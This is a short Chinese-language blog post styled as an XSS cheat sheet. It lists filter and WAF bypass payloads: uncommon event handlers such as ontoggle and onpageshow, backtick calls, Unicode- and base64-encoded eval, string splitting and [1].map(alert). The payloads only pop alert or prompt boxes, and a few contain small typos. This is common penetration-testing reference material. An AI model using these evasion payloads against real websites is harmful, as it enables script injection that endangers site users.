XSS

XSS_Cheat_Sheet_2020_Edition

绕过简单的xss防护

如果双引号被禁用就用单引号。

针对黑名单过滤,过滤一般不全,
过滤了img,还有input、div、body、detial、L 等标签

过滤了onclik,onmouseover,可以尝试冷门的触发事件onmouseenter、onpageshow

<body onpageshow=alert(/xxxxx/)>

<details/open/ontoggle="alertdetials">

ontoggle事件在用户打开或关闭

元素时触发

过滤了(),可以尝试反引号, 过滤了引号`‘`和`“`,可以尝试反引号

大小写绕过
双写绕过

1.加上一个xmlns属性绕过

如果<svg onload="javascriptalert(1)">被拦截了
可以试试<svg onload="javascriptalert(1)"xmlns="https:www.baidu.com">

<details open ontoggle=top.alert(1)>
<details open ontoggle=top[‘prompt’](1)>
<details open ontoggle=top[‘al’%2b’ert’](1)>    注:%2b为url编码的

2.eval函数执行


<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
<details open ontoggle=eval(‘alert(1)’) >
eval拦截的话,可以试试,把 e Unicode编码
<details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) >

3.拦截了alert

当alert不行,可以考虑的有prompt,confirm

<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>

4.反引号

如果存在alert函数,但是Waf并不拦截。但是当加上()括号,就拦截了。可以不试试反引号。例子:

<details/open/ontoggle="alert`1`">

5.map绕过

map返回一个数组,传入一个函数。
[1].map(alert)依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。
其他的例子:

<details open ontoggle=[1].find(alert)>
<details open ontoggle=[1].%65very(alert)>
<details open ontoggle=[1].u0066orEach(alert)>
posted @ 2021-02-08 20:57  rab3it  阅读(112)  评论(0编辑  收藏  举报